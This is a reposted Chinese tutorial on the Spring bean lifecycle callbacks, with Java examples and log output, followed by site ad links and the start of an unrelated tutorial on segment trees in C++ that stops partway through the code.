        log.info("通過beanFactory獲取student bean:{}", student);

        // 將name設置為李四
        this.name = "李四";
    }
}

  運行輸出如下:

INFO  [main] cn.ganlixin.entity.Student - student this bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - 通過beanFactory獲取student bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=李四)

  通過上面的代碼輸出結果可以看出,實現BeanFactoryAware接口后,可以在setBeanFactory方法中操作BeanFactory的所有bean,操作的範圍要比BeanNameAware要大。

 

2.3 ApplicationContextAware

  ApplicationContext,有多種稱呼,比如“應用容器”、“環境”、“上線文”…

  創建Student類,實現ApplicationContextAware接口,並且重寫setApplicationContext接口:

@Data
@Slf4j
public class Student implements ApplicationContextAware {

    private Integer id;
    private String name;

    /**
     * 實現ApplicationContextAware接口后,徐重寫setApplicationContext方法
     *
     * @param applicationContext 該bean所在的上下文(applicationContext、容器)
     */
    @Override
    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
        log.info("Student this:{}", this);

        final Student student = applicationContext.getBean("student", Student.class);
        final Environment environment = applicationContext.getEnvironment();
        log.info("student bean:{}", student);
        log.info("env -> user.dir:{}", environment.getProperty("user.dir"));
    }
}

  需要修改一下測試程序,測試程序中加載配置時使用的XmlBeanFactory,而XmlBeanFactory不會回調ApplicationContextAware接口的setApplicationContext方法,下面使用ClassPathXmlApplicationContext類來加載配置:

@Slf4j
public class Test {

    public static void main(String[] args) {
        //BeanFactory beanFactory = new XmlBeanFactory(new ClassPathResource("applicationContext.xml"));

        // 使用ApplicationContext來加載配置
        ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");
        Student student = context.getBean("student", Student.class);
        log.info("測試程序獲取到的student bean:{}", student);
    }
}

  運行測試程序:

INFO  [main] cn.ganlixin.entity.Student - Student this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - student bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - env -> user.dir:/Users/ganlixin/code/java-code-all/spring
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)

  實現ApplicationContextAware接口后,在setApplicationContext方法中,入參是當前的applicationContext,也就是說,可以在該方法中對Spring容器進行設置,操作的範圍又要比BeanFactoryAware的setBeanFactory要廣得多。

 

2.4 Aware各接口執行的先後順序

  既然有這幾個Aware接口,如果一個類同時實現了這3個接口,那麼執行順序是怎樣的呢?下面就來測試一下。

  創建Student類,分別實現BeanNameAware、BeanFactoryAware、ApplicationContextAware接口,並重寫其接口的方法:

@Data
@Slf4j
public class Student implements BeanNameAware, BeanFactoryAware, ApplicationContextAware {

    private Integer id;
    private String name;

    /**
     * 實現了BeanNameAware接口后,需重寫setBeanName方法,接收的參數就是bean的id
     *
     * @param s bean的id
     */
    @Override
    public void setBeanName(String s) {
        log.info("call BeanNameAware.setBeanName()");
    }

    /**
     * 實現BeanFactoryAware接口后,需重寫setBeanFactroy
     *
     * @param beanFactory 創建該bean的bean工廠
     */
    @Override
    public void setBeanFactory(BeanFactory beanFactory) throws BeansException {
        log.info("call BeanFactoryAware.setBeanFactory()");
    }

    /**
     * 實現ApplicationContextAware接口后,徐重寫setApplicationContext方法
     *
     * @param applicationContext 該bean所在的上下文(applicationContext、容器)
     */
    @Override
    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
        log.info("call ApplicationContextAware.setApplicationContext()");
    }
}

  仍舊使用ClassPathXmlApplicationContext類來加載配置,運行輸出結果如下:

INFO  [main] cn.ganlixin.entity.Student - call BeanNameAware.setBeanName()
INFO  [main] cn.ganlixin.entity.Student - call BeanFactoryAware.setBeanFactory()
INFO  [main] cn.ganlixin.entity.Student - call ApplicationContextAware.setApplicationContext()
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)

  

2.4 Aware接口總結

  上面演示了Spring中幾個Aware接口的用法和特點,下面總結一下:

  1.實現BeanNameAware接口后,重寫setBeanName方法,可以對單個Bean進行擴展修改;

  2.實現BeanFactoryAware接口后,重寫setBeanFactory方法,可以對bean工廠中的所有Bean進行擴展修改;

  3.實現ApplicationContextAware接口后,重寫setApplicationContext方法后,可以對整個容器進行擴展修改;

  4.這幾個接口的執行順序分別是BeanNameAware->BeanFactoryAware->ApplicationContextAware;

 

三.BeanPostProcessor接口

  BeanPostProcessor和前面的Aware接口有些區別,通過下面的例子就能看出區別在哪裡!

  下面舉個例子,創建MyBeanPostProcessor類,實現BeanPostProcessor接口,注意,這裏沒有在Student類上實現BeanPostProcessor接口。

@Slf4j
public class MyBeanPostProcessor implements BeanPostProcessor {

    /**
     * 實現了BeanPostProcessor接口后,重寫postProcessBeforeInitialization,在各種Aware接口執行完畢后執行該方法
     *
     * @param bean     本次處理的bean
     * @param beanName 本次處理的beanName(bean id)
     * @return 返回的是在本方法中處理后的bean
     */
    @Override
    public Object postProcessBeforeInitialization(Object bean, String beanName) throws BeansException {
        log.info("MyBeanPostProcessor.postProcessBeforeInitialization, beanName:{}, bean:{}", beanName, bean);
        return bean;
    }

    /**
     * 實現了BeanPostProcessor接口后,重寫postProcessBeforeInitialization,在initMethod方法執行完畢后執行該方法
     *
     * @param bean     本次處理的bean
     * @param beanName 本次處理的beanName(bean id)
     * @return 返回的是在本方法中處理后的bean
     */
    @Override
    public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException {
        log.info("MyBeanPostProcessor.postProcessAfterInitialization, beanName:{}, bean:{}", beanName, bean);
        return bean;
    }
}

  創建兩個類,分別是Student和User類,其中Use類沒有實現Aware接口,Student類實現了前面提到的3個Aware接口

@Data
public class User {
    private Integer id;
    private String name;
}

  

@Data
@Slf4j
public class Student implements BeanNameAware, BeanFactoryAware, ApplicationContextAware {

    private Integer id;
    private String name;

    /**
     * 實現了BeanNameAware接口后,需重寫setBeanName方法,接收的參數就是bean的id
     *
     * @param s bean的id
     */
    @Override
    public void setBeanName(String s) {
        log.info("call BeanNameAware.setBeanName()");
    }

    /**
     * 實現BeanFactoryAware接口后,需重寫setBeanFactroy
     *
     * @param beanFactory 創建該bean的bean工廠
     */
    @Override
    public void setBeanFactory(BeanFactory beanFactory) throws BeansException {
        log.info("call BeanFactoryAware.setBeanFactory()");
    }

    /**
     * 實現ApplicationContextAware接口后,徐重寫setApplicationContext方法
     *
     * @param applicationContext 該bean所在的上下文(applicationContext、容器)
     */
    @Override
    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
        log.info("call ApplicationContextAware.setApplicationContext()");
    }
}

  

  xml配置文件:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean class="cn.ganlixin.entity.Student" id="student">
        <property name="id" value="99"/>
        <property name="name" value="張三"/>
    </bean>

    <bean class="cn.ganlixin.entity.User" id="user">
        <property name="id" value="88"/>
        <property name="name" value="王五"/>
    </bean>

    <!-- 將實現了BeanPostProcessor接口的類也聲明為bean -->
    <bean class="cn.ganlixin.processor.MyBeanPostProcessor"/>
</beans>

  

  測試:

INFO  [main] cn.ganlixin.entity.Student - call BeanNameAware.setBeanName()
INFO  [main] cn.ganlixin.entity.Student - call BeanFactoryAware.setBeanFactory()
INFO  [main] cn.ganlixin.entity.Student - call ApplicationContextAware.setApplicationContext()
INFO  [main] cn.ganlixin.processor.MyBeanPostProcessor - MyBeanPostProcessor.postProcessBeforeInitialization, beanName:student1, bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.processor.MyBeanPostProcessor - MyBeanPostProcessor.postProcessAfterInitialization, beanName:student1, bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.processor.MyBeanPostProcessor - MyBeanPostProcessor.postProcessBeforeInitialization, beanName:user, bean:User(id=88, name=王五)
INFO  [main] cn.ganlixin.processor.MyBeanPostProcessor - MyBeanPostProcessor.postProcessAfterInitialization, beanName:user, bean:User(id=88, name=王五)
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)

  從上面的運行結果可以得出以下結論:

  1.因為只有Student實現了Aware接口,所以創建student bean的時候會調用對應的Aware接口方法,而User類沒有實現Aware接口,所以並沒有調用Aware接口方法;

  2.Student和User類都沒有繼承BeanPostProcessor接口,但是在創建student和user bean的時候,都掉用了MyBeanPostProcessor類中的前置和後置處理(繼承自BeanPostProcessor接口);

  3.BeanPostProcessor接口的前置和後置處理,是在Aware接口之後調用;

  4.很重要的一點,需要將BeanPostProcessor接口實現類聲明為bean,使用<bean>配置或者使用@Component註解,不然BeanPostProcessor不起作用。

 

四.InitializingBean接口

  創建Student類,實現InitializingBean接口,然後重寫afterPropertiesSet方法:

@Data
@Slf4j
public class Student implements InitializingBean {

    private Integer id;
    private String name;

    @Override
    public void afterPropertiesSet() throws Exception {
        // 同樣可以在這裏修改bean的屬性值
        log.info("InitialingBean.afterPropertiesSet, this:{}", this);
    }
}

  修改xml配置文件,創建student bean,測試:

INFO  [main] cn.ganlixin.entity.Student - InitialingBean.afterPropertiesSet, this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)

  

五.init-method

  創建Student類,增加一個額外的方法display()

@Data
@Slf4j
public class Student {

    private Integer id;
    private String name;

    public void display() {
        log.info("Student.display call, this:{}", this);
    }
}

  修改配置文件,在<bean>標籤中增加init-method屬性,值為display,也就是Student的display方法名:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean class="cn.ganlixin.entity.Student" id="student" init-method="display">
        <property name="id" value="99"/>
        <property name="name" value="張三"/>
    </bean>
</beans>

  運行測試:

INFO  [main] cn.ganlixin.entity.Student - Student.display call, this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)

  上面,輸出了display中的內容,這是在設置bean的時候調用的。

 

六.DestructionAwareBeanPostProcessor接口

  DestructionAwareBeanPostProcessor接口,從名稱上可以看出來是DestructionAware + BeanPostProcessor的組合,其實也的確是這樣,但是需要注意的就是,spring並沒有提供DestructionAware接口!!

  下面是DestructionAwareBeanPostProcessor接口的定義:

public interface DestructionAwareBeanPostProcessor extends BeanPostProcessor {

    /**
     * Destruction執行的操作
     *
     * @param bean     處理的bean
     * @param beanName bean的名稱
     * @throws BeansException
     */
    void postProcessBeforeDestruction(Object bean, String beanName) throws BeansException;

    /**
     * 是否需要執行postProcessBeforeDestruction方法
     *
     * @param bean 執行Destruction的bean
     * @return 是否需要執行postProcessBeforeDestruction方法
     */
    default boolean requiresDestruction(Object bean) {
        return true;
    }
}

  DestructionAwareBeanPostProceesor繼承自BeanPostProcessor接口,所以也可以重寫前值和後置處理。

  下面介紹使用示例,創建MyDestructionAwareBeanPostProceesor,繼承DestructionAwareBeanPostProceesor接口:

@Slf4j
public class MyDestructionAwareBeanPostProcessor implements DestructionAwareBeanPostProcessor {

    @Override
    public void postProcessBeforeDestruction(Object bean, String beanName) throws BeansException {
        log.info("DestructionAwareBeanPostProcessor.postProcessBeforeDestruction, \n\tbeanName:{}, bean:{}", beanName, bean);
    }
    
    @Override
    public boolean requiresDestruction(Object bean) {
        return true; // 返回true,一律執行postProcessBeforeDestruction方法
        // 如果返回false,則不執行postProcessBeforeDestruction方法
    }
}

  修改配置文件:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean class="cn.ganlixin.entity.Student" id="student">
        <property name="id" value="99"/>
        <property name="name" value="張三"/>
    </bean>


    <bean class="cn.ganlixin.entity.User" id="user">
        <property name="id" value="88"/>
        <property name="name" value="王五"/>
    </bean>

    <!-- 將實現了DestructionAwareBeanPostProcessor接口的實現類聲明為bean> -->
    <bean class="cn.ganlixin.processor.MyDestructionAwareBeanPostProcessor"/>
</beans>

  測試程序:

@Slf4j
public class Test {

    public static void main(String[] args) {
        // 使用ApplicationContext來加載配置
        ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");
        Student student = context.getBean("student", Student.class);
        User user = context.getBean("user", User.class);

        log.info("測試程序獲取到的student bean:{}", student);

        // 獲取bean工廠,然後調用destroyBean銷毀bean
        AutowireCapableBeanFactory factory = context.getAutowireCapableBeanFactory();
        factory.destroyBean(student);
    }
}

  運行測試程序,輸出如下:

INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.processor.MyDestructionAwareBeanPostProcessor - DestructionAwareBeanPostProcessor.postProcessBeforeDestruction, 
	beanName:cn.ganlixin.entity.Student, bean:Student(id=99, name=張三)

  可以看到,在手動調用destroyBean方法來銷毀student bean的時候,調用了MyDestructionAwareBeanPostProcessor中定義的方法。

  需要注意的是,雖然這裏使用destroyBean來銷毀了student bean,如果又通過getBean來獲取student bean,則會重新創建student bean。

 

七.DisposableBean接口 

  前面介紹了DestructionAwareBeanPostProcessor接口,可以對所有的bean設置銷毀(destruction)后的處理操作。

  而這裏介紹的DisposableBean接口,就是對單獨的Bean進行destrction后的處理,也就是說不是應用到所有的bean上。

  簡單介紹一下用法,創建Student類和User類,User類正常(不實現任何接口),Student類實現DisposableBean接口,然後重寫destroy方法:

@Data
@Slf4j
public class Student implements DisposableBean {

    private Integer id;
    private String name;

    @Override
    public void destroy() throws Exception {
        log.info("DisposableBean.destroy, this:{}", this);
    }
}

@Data
public class User {
    private Integer id;
    private String name;
}

  創建配置文件:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean class="cn.ganlixin.entity.Student" id="student">
        <property name="id" value="99"/>
        <property name="name" value="張三"/>
    </bean>

    <bean class="cn.ganlixin.entity.User" id="user">
        <property name="id" value="88"/>
        <property name="name" value="王五"/>
    </bean>
</beans>

  測試程序:

@Slf4j
public class Test {

    public static void main(String[] args) {
        // 使用ApplicationContext來加載配置
        ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");
        Student student = context.getBean("student", Student.class);
        User user = context.getBean("user", User.class);

        log.info("測試程序獲取到的student bean:{}", student);
        log.info("測試程序獲取到的user bean:{}",user);

        // 獲取bean工廠,然後調用destroyBean銷毀bean
        AutowireCapableBeanFactory factory = context.getAutowireCapableBeanFactory();
        factory.destroyBean(student);
        factory.destroyBean(user);
    }
}

  運行輸出:

INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的user bean:User(id=88, name=王五)
INFO  [main] cn.ganlixin.entity.Student - DisposableBean.destroy, this:Student(id=99, name=張三)

  可以看到,雖然測試代碼中destroy了student和user兩個bean,但是只有student bean在銷毀時觸發了DisposableBean的destory方法。

 

八.destroy-method方法

  和init-method相對應的就是destory-method方法了,創建Student類,增加clean方法(自定義):

@Data
@Slf4j
public class Student {

    private Integer id;
    private String name;

    public void clean() {
        log.info("Student.clean, this:{}", this);
    }
}

  修改配置文件,<bean>標籤中使用destroy-method屬性,值為clean方法

<bean class="cn.ganlixin.entity.Student" id="student" destroy-method="clean">
    <property name="id" value="99"/>
    <property name="name" value="張三"/>
</bean>

  測試程序:

@Slf4j
public class Test {

    public static void main(String[] args) {
        // 使用ApplicationContext來加載配置
        ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");
        Student student = context.getBean("student", Student.class);

        log.info("測試程序獲取到的student bean:{}", student);

        // 刪除bean
        BeanDefinitionRegistry registry = (BeanDefinitionRegistry) context.getAutowireCapableBeanFactory();
        registry.removeBeanDefinition("student");
    }
}

  輸出:

INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - Student.clean, this:Student(id=99, name=張三)

  

九.聲明周期大雜燴

  上面對每一種接口都做了介紹,這裏就將所有接口都做一下整合,嘗試在一個測試程序中測試所有接口,這個過程中就會對Bean的生命周期有清晰的認識:

9.1 實現多接口的Student類

  創建Student類,實現Aware、InitializingBean、DisposableBean接口,並且增加display、clean方法,作為init-method和destory-method。

package cn.ganlixin.entity;

import lombok.Data;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.*;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;

@Data
@Slf4j
public class Student implements BeanNameAware, BeanFactoryAware, ApplicationContextAware, InitializingBean, DisposableBean {

    private Integer id;
    private String name;

    @Override
    public void setBeanName(String s) {
        log.info("BeanNameAware.setBeanName, this:{}", this);
    }

    @Override
    public void setBeanFactory(BeanFactory beanFactory) throws BeansException {
        log.info("BeanFactoryAware.setBeanFactory, this:{}", this);
    }

    @Override
    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
        log.info("ApplicationContextAware.setApplicationContext, this:{}", this);
    }

    @Override
    public void afterPropertiesSet() throws Exception {
        log.info("InitialingBean.afterPropertiesSet, this:{}", this);
    }

    @Override
    public void destroy() throws Exception {
        log.info("DisposableBean.destory, this:{}", this);
    }

    public void display() {
        log.info("init-method, Student.display, this:{}", this);
    }

    public void clean() {
        log.info("destroy-method, Student.clean, this:{}", this);
    }
}

 

9.2 BeanPostProcessor前後置處理

  創建MyBeanPostProcessor接口實現類,並重寫前置和後置處理方法:

package cn.ganlixin.processor;

import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.config.BeanPostProcessor;

@Slf4j
public class MyBeanPostProcessor implements BeanPostProcessor {

    @Override
    public Object postProcessBeforeInitialization(Object bean, String beanName) throws BeansException {
        log.info("MyBeanPostProcessor.postProcessBeforeInitialization, beanName:{}, bean:{}", beanName, bean);
        return bean;
    }

    @Override
    public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException {
        log.info("MyBeanPostProcessor.postProcessAfterInitialization, beanName:{}, bean:{}", beanName, bean);
        return bean;
    }
}

 

9.3 DestructionAwareBeanPostPrecessor接口

  創建MyDestructionAwareBeanPostProcessor類,並重寫其中的方法(不重寫BeanPostProcessor的前後置處理方法):

package cn.ganlixin.processor;

import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.config.DestructionAwareBeanPostProcessor;

@Slf4j
public class MyDestructionAwareBeanPostProcessor implements DestructionAwareBeanPostProcessor {

    @Override
    public void postProcessBeforeDestruction(Object bean, String beanName) throws BeansException {
        log.info("DestructionAwareBeanPostProcessor.postProcessBeforeDestruction, \n\tbeanName:{}, bean:{}", beanName, bean);
    }

    @Override
    public boolean requiresDestruction(Object bean) {
        return true; // 返回true,一律執行postProcessBeforeDestruction方法
        // 如果返回false,則不執行postProcessBeforeDestruction方法
    }
}

  

9.4 配置xml文件  

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns="http://www.springframework.org/schema/beans"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 創建student bean,指定init-method和destroy-method -->
    <bean class="cn.ganlixin.entity.Student" id="student" init-method="display" destroy-method="clean">
        <property name="id" value="99"/>
        <property name="name" value="張三"/>
    </bean>


    <!-- 將實現了DestructionAwareBeanPostProcessor接口的實現類聲明為bean-->
    <bean class="cn.ganlixin.processor.MyDestructionAwareBeanPostProcessor"/>

    <!-- 將實現了BeanPostProcessor接口的類也聲明為bean-->
    <bean class="cn.ganlixin.processor.MyBeanPostProcessor"/>
</beans>

  

9.5 測試代碼

package cn.ganlixin;

import cn.ganlixin.entity.Student;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.support.BeanDefinitionRegistry;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

@Slf4j
public class Test {

    public static void main(String[] args) {
        // 使用ApplicationContext來加載配置
        ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");
        Student student = context.getBean("student", Student.class);

        log.info("測試程序獲取到的student bean:{}", student);

        // 刪除bean
        BeanDefinitionRegistry factory = (BeanDefinitionRegistry) context.getAutowireCapableBeanFactory();
        factory.removeBeanDefinition("student");
    }
}

  

9.6 輸出結果

INFO  [main] cn.ganlixin.entity.Student - BeanNameAware.setBeanName, this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - BeanFactoryAware.setBeanFactory, this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - ApplicationContextAware.setApplicationContext, this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.processor.MyBeanPostProcessor - MyBeanPostProcessor.postProcessBeforeInitialization, beanName:student, bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - InitialingBean.afterPropertiesSet, this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - init-method, Student.display, this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.processor.MyBeanPostProcessor - MyBeanPostProcessor.postProcessAfterInitialization, beanName:student, bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.processor.MyDestructionAwareBeanPostProcessor - DestructionAwareBeanPostProcessor.postProcessBeforeDestruction, 
	beanName:student, bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - DisposableBean.destory, this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - destroy-method, Student.clean, this:Student(id=99, name=張三)

  

十.總結

  看了上面這個輸出結果,再結合下面這個圖,基本就能掌握Bean的大致生命周期了。

  

 

   原文地址:https://www.cnblogs.com/-beyond/p/13188675.html

   

 

  

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※南投搬家公司費用需注意的眉眉角角,別等搬了再說!

※新北清潔公司,居家、辦公、裝潢細清專業服務

線段樹(毒瘤)總結

我們在這篇博客里將具體介紹一種超級毒瘤超級高效的算法
線段樹

概念引入

首先來認識一下線段樹
什麼是線段樹呢:
線段樹是一種二叉樹,也就是對於一個線段,我們會用一個二叉樹來表示。比如說一個長度為6的線段,我們可以表示成這樣

這個圖是什麼意思呢?

  • 將這個做成一個樹的結構 每個根節點存儲左右兩個節點的權值之和
    舉個栗子:最上邊的線段表示1~6的和 而他的左兒子表示1~3的和 右兒子表示4~6的和
  • 然後他左兒子的左兒子又表示1~2的和 左兒子的右兒子表示3的權值
  • 因此 節點i的權值=i左兒子的權值+i右兒子的權值
  • 所以我們可以得到 tree[rt].sum = tree[l].sum + tree[r].sum
  • 根據這個原理 我們就可以進行遞歸建樹了
struct node{
      int l,r,sum;//l表示左兒子 r表示右兒子  sum表示當前節點存儲的權值
}tree[maxn*4];

void build(int i,int l,int r){
	tree[i].l = l;tree[i].r = r;
	if(l == r){
		tree[i].sum = a[l];//a數組存儲給出的數組初始值
		return;
	}
	int mid = (l+r)/2;
	build(i*2,l,mid);
	build(i*2+1,mid+1,r);
	tree[i].sum = tree[i*2].sum+tree[i*2+1].sum;
	return;
}

這就是線段樹的建樹方法 如果你要問為什麼我們要花好幾倍的內存去建樹來完成一個數組就能完成的事情 那就是因為我們需要讓這個超級大的數組去干一些比較困難的事情
那什麼是比較困難的事情呢 讓我們進入下個專題

簡單的操作

單點修改 區間查詢

  • 舉個例子 我們要求出區間1~5的和
  • 顯然可以 for(int i = 1;i<=5;++i){ans+=a[i]};
  • 但是我們仍然要使用線段樹來進行操作
  • 首先看區間的位置
    當前處在根節點 存儲的左邊界是1 右邊界是6
    根節點的左兒子的左邊界是1 右邊界是3 右兒子的左邊界是4 右邊界是6
    左兒子的區間完全被該區間包括 所以我們直接返回左兒子的權值
    右兒子的左邊界在目標區間右邊界的左邊 所以我們繼續遞歸搜索右邊界
    現在最新的左兒子為4~5 完全包括在目標區間之中 直接返回權值 右兒子6與該區間毫無關係 返回0
    現在我們就可以把返回的值加起來了 3+2=5
  • 有人可能會吐槽了 用一個數組能解決的問題 為什麼要搞的這麼複雜
  • 但是有的時候雖然數組很方便 但是他並不能滿足我們的需求 ,O(n)的效率 ,有時候是無法令出題人快樂的, 這個時候就需要用到線段樹了 O(\(log_n\))

因此用代碼怎麼實現呢 也很簡單
先讓我們總結一下線段樹的查詢方式:

  • 如果當前區間完全被包括在目標區間之中,直接返回當前區間的權值
  • 如果當前區間與目標區間毫無關係 直接返回 0
  • 如果當前區間與目標區間有交叉 繼續遞歸搜索左兒子和右兒子
    那我們就可以有這樣的代碼實現形式
int search(int rt,int l,int r){
	if(tree[rt].r < l ||tree[rt].l > r)return 0;
	if(tree[rt].l >= l && tree[rt].r <= r)return tree[rt].sum;
	int ans = 0;
	if(tree[rt*2].r >= l)ans += search(2*rt,l,r);
	if(tree[rt*2+1].l <= r)ans += search(2*rt+1,l,r);
	return ans;
}

 那單點修改呢  這個相對就簡單許多了 * 給出一個位置x 一個值k * 如果我們要修改x位置的數 讓他加上一個數k 我們就讓樹去遞歸尋找這個位置 “`cpp void add(int rt,int x,int k){ if(tree[rt].l == tree[rt].r){//到達恭弘=叶 恭弘子節點 說明找到該位置 tree[rt].sum += k; return; } if(x <= tree[rt*2].r)add(rt*2,x,k); // 遞歸搜索左兒子 else add(rt*2+1,x,k);//遞歸搜索右兒子 tree[rt].sum = tree[rt*2].sum + tree[rt*2+1].sum;//重新將權值加和 return; } “`

區間修改單點查詢

區間修改和單點查詢的方法有很多
為了一會對pushdown的講解 我們這裏說一種比較便於下面理解的方法

區間修改和區間查詢很像

  • 不過區間查詢的 ”如果當前區間完全包括在目標區間就返回當前區間的值“要改為將當前區間打上k標記
  • 舉個例子: 我們要把一個區間所有的數加上k
  • 那就去遞歸搜索線段樹 如果發現某個線段樹的區間完全包括在目標區間中 那就將這個區間打上k標記
  • 但是我們這裏的建樹就要有所不同了
  • 因為我們的所有節點的初始值都會為0(為了便於記錄標記k)
void build(int l,int r,int rt){
    tree[rt].num=0;
    tree[rt].l=l;
    tree[rt].r=r;
    if(l==r)
        return ;
    int mid=(r+l)/2;
    build(l,mid,rt*2);
    build(mid+1,r,rt*2+1);
}

void add(int rt,int l,int r,int k){
    if(tree[rt].l>=l && tree[rt].r<=r){
        tree[rt].num+=k;
        return ;
    }
    if(tree[rt*2].r>=l)
       add(rt*2,l,r,k);
    if(tree[rt*2+1].l<=r)
       add(rt*2+1,l,r,k);
}

單點查詢可以去尋找這個節點 路上遇到的所有標記都要累加起來 最後再加上這個節點的初始值 用代碼實現大概是這個樣子 “`cpp void search(int rt,int dis){ ans+=tree[rt].num; if(tree[rt].l==tree[rt].r) return ; if(dis<=tree[rt*2].r) search(rt*2,dis); if(dis>=tree[rt*2+1].l) search(rt*2+1,dis); } //主函數中 printf(“%d\n”,ans+a[x]);//a[x]為目標位置的初始值 “`

建議將上面的板子打熟再向下繼續觀看

區間修改與區間查詢(pushdown and lazy)

前方高難
看到這樣的題你或許會想 不就是上邊那兩种放在一起嗎
但是如果你真的這樣寫完了代碼你會發現 WA
為什麼呢

先來回想一下剛才的操作:將區間加上標記 最終查詢的時候去從上往下找 將標記累加最後再加上初始值

但是這樣真的可以嗎?

答案是否定的 原因很簡單:如果你要求1~3區間的和 而你剛剛將3~5的區間加上標記 因為1~3並不包含3~5的標記 所以我們計算后的結果並不是加k之後的和 而是初始值的和

那如何解決這個問題呢? 也很簡單:只要將我們的標記k下放到i的兒子不就好了嗎

所以我們的算法雛形就出來了(這也是線段樹最毒瘤而且難調最具有魅力的地方)

  • 首先我們在結構體中多定義一個變量lazy 用於記錄標記 每次有加的操作的時候我們就加到lazy上
  • 然後就是下放操作pushdown 用於將lazy下放到i的兒子節點中
  • 所以通過簡單的推理和歸納我們仍然有以下性質:
      1. 如果當前區間完全被包含在目標區間中 則這個區間的權值 tree[rt].sum += k*(tree[rt].r - tree[rt].l + 1)
      2. 如果當前區間與目標區間有交集但是並沒有被完全覆蓋 就下放懶惰標記
      3. 下放之後分別對左兒子和右兒子進行相同的操作
  • 最後仍然是按照tree[rt].sum = tree[rt2].sum + tree[rt2+1].sum向上更新
    因此代碼實現就是
void pushdown(long long rt){
	if(tree[rt].lazy != 0){//如果當前區間已經被標記
		tree[rt*2].lazy += tree[rt].lazy;//下放到左兒子
		tree[rt*2+1].lazy += tree[rt].lazy;//下放到右兒子
		long long mid = (tree[rt].l + tree[rt].r)/2;
		tree[rt*2].sum += tree[rt].lazy*(mid - tree[rt*2].l + 1);//更新左兒子的值
		tree[rt*2+1].sum += tree[rt].lazy*(tree[rt*2+1].r - mid);//更新右兒子的值
		tree[rt].lazy = 0;//清空當前節點的懶惰標記
	}
	return;
}

void add(long long rt,long long l,long long r,long long k){
	if(tree[rt].l >= l && tree[rt].r <= r){//如果當前區間完全包含在目標區間直接更新並且標記懶惰標記
